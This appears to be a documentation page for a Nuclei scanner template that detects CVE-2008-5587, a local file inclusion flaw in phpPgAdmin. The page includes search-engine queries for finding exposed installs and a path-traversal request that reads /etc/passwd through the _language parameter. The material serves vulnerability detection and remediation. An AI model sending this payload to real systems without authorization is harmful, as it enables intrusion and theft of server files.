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phpPgAdmin <=4.2.1 - Local File Inclusion

ID: CVE-2008-5587

Severity: medium

Author: dhiyaneshDK

Tags: cve,cve2008,lfi,phppgadmin,edb

Description

Section titled “Description”

phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2008-5587


info:
  name: phpPgAdmin <=4.2.1 - Local File Inclusion
  author: dhiyaneshDK
  severity: medium
  description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server and potentially execute arbitrary code.
  remediation: |
    Upgrade phpPgAdmin to a version higher than 4.2.1 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/7363
    - https://nvd.nist.gov/vuln/detail/CVE-2008-5587
    - http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00002.html
    - http://lists.opensuse.org/opensuse-updates/2012-04/msg00033.html
    - http://securityreason.com/securityalert/4737
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-5587
    cwe-id: CWE-22
    epss-score: 0.02331
    epss-percentile: 0.89734
    cpe: cpe:2.3:a:phppgadmin:phppgadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: phppgadmin
    product: phppgadmin
    shodan-query:
      - http.title:"phpPgAdmin"
      - http.title:phppgadmin
      - cpe:"cpe:2.3:a:phppgadmin_project:phppgadmin"
    fofa-query: title=phppgadmin
    google-query: intitle:phppgadmin
  tags: cve,cve2008,lfi,phppgadmin,edb


http:
  - method: GET
    path:
      - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502204781c8800591e9787600b870e853a3a3f1f9c44d1297eca92366abc8afa57539022100dbeced77523d56c73470bd09fefb789f02e4e4ff466f14b30947255ce1d4b95e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2008/CVE-2008-5587.yaml"

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